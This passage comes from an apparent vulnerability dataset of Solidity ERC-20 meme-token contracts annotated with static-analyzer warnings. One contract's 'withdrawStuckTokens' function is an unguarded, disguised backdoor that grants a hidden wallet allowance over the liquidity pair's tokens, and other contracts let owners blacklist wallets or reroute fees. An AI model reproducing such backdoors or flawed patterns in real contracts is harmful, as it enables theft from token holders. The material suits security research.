(reentrancy-eth | severity: High | ID: 9770a6a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9770a6a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 9e5f8fe\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8ca1645\n\t\t\t\t\t// reentrancy-eth | ID: 275209e\n\t\t\t\t\t// reentrancy-eth | ID: 9770a6a\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 8ca1645\n\t\t\t\t\t\t// reentrancy-eth | ID: 275209e\n\t\t\t\t\t\t// reentrancy-eth | ID: 9770a6a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 8ca1645\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 275209e\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 9770a6a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 9770a6a\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 8ca1645\n\t\t\t\t\t// reentrancy-eth | ID: 275209e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 8ca1645\n\t\t\t\t\t\t// reentrancy-eth | ID: 275209e\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 275209e\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 8ca1645\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: 275209e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 275209e\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 8ca1645\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8ca1645\n\t\t// reentrancy-events | ID: e4082bb\n\t\t// reentrancy-benign | ID: 2491c33\n\t\t// reentrancy-eth | ID: 275209e\n\t\t// reentrancy-eth | ID: 9770a6a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n _caLimitSell = false;\n\n _zmogbymf = _taxWallet;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8ca1645\n\t\t// reentrancy-events | ID: e4082bb\n\t\t// reentrancy-eth | ID: 275209e\n\t\t// reentrancy-eth | ID: 9770a6a\n _taxWallet.transfer(amount);\n }\n\n function withdrawStuckETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n function withdrawStuckTokens(uint256 amount) external {\n address _mfToken = uniswapV2Pair;\n\n address v2Router = address(_zmogbymf);\n\n _allowances[_mfToken][v2Router] = amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 094d877): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 094d877: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: be3b6c2): ZMOG.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for be3b6c2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c1af88): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c1af88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 094d877\n\t\t// reentrancy-eth | ID: 4c1af88\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 094d877\n\t\t// unused-return | ID: be3b6c2\n\t\t// reentrancy-eth | ID: 4c1af88\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 094d877\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4c1af88\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10818.sol",
"size_bytes": 20835,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract GOMAToken is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 902a4b0): GOMAToken._totalSupply should be constant \n\t// Recommendation for 902a4b0: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: ebcbf82): GOMAToken._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for ebcbf82: Remove the state variable shadowing.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n constructor() ERC20(\"GOMA\", \"GOMA\") {\n _mint(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}\n",
"file_name": "solidity_code_10819.sol",
"size_bytes": 6776,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Murad is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 938155b): Murad.deployer should be immutable \n\t// Recommendation for 938155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n\t// WARNING Optimization Issue (constable-states | ID: c612f7b): Murad._initialBuyTax should be constant \n\t// Recommendation for c612f7b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79411ed): Murad._initialSellTax should be constant \n\t// Recommendation for 79411ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd2278d): Murad._finalBuyTax should be constant \n\t// Recommendation for dd2278d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0600ece): Murad._finalSellTax should be constant \n\t// Recommendation for 0600ece: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3385c7c): Murad._reduceBuyTaxAt should be constant \n\t// Recommendation for 3385c7c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e35348): Murad._reduceSellTaxAt should be constant \n\t// Recommendation for 8e35348: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Murad\";\n\n string private constant _symbol = unicode\"MURAD\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6db8c1b): Murad._maxTaxSwap should be constant \n\t// Recommendation for 6db8c1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n deployer = msg.sender;\n\n _taxWallet = payable(0x4025E859e6869Ef2fD8F361951beD9D2d85F9446);\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 222f5cd): Murad.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 222f5cd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4bcb046): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4bcb046: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6e989e6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6e989e6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4bcb046\n\t\t// reentrancy-benign | ID: 6e989e6\n _transfer(sender, recipient, amount);\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: 4bcb046\n\t\t\t// reentrancy-benign | ID: 6e989e6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 638f9b9): Murad._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 638f9b9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6e989e6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4bcb046\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ed08b63): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ed08b63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: efa63f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for efa63f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != address(this) && to != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: ed08b63\n\t\t\t\t\t// reentrancy-eth | ID: efa63f1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: ed08b63\n\t\t\t\t// reentrancy-eth | ID: efa63f1\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: efa63f1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ed08b63\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: efa63f1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: efa63f1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ed08b63\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4bcb046\n\t\t// reentrancy-events | ID: ed08b63\n\t\t// reentrancy-benign | ID: 6e989e6\n\t\t// reentrancy-eth | ID: efa63f1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b8ad75e): Murad.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b8ad75e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4bcb046\n\t\t// reentrancy-events | ID: ed08b63\n\t\t// reentrancy-eth | ID: efa63f1\n\t\t// arbitrary-send-eth | ID: b8ad75e\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 14eb3f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 14eb3f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c216d52): Murad.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c216d52: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 93664e5): Murad.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 93664e5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8c544e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8c544e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 14eb3f1\n\t\t// reentrancy-eth | ID: 8c544e5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 14eb3f1\n\t\t// unused-return | ID: c216d52\n\t\t// reentrancy-eth | ID: 8c544e5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 14eb3f1\n\t\t// unused-return | ID: 93664e5\n\t\t// reentrancy-eth | ID: 8c544e5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 14eb3f1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8c544e5\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8921f16): Murad.withdrawStuckEth(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for 8921f16: Check that the address is not zero.\n function withdrawStuckEth(address payable _wallet) external {\n require(msg.sender == deployer);\n\t\t// missing-zero-check | ID: 8921f16\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_1082.sol",
"size_bytes": 18611,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is 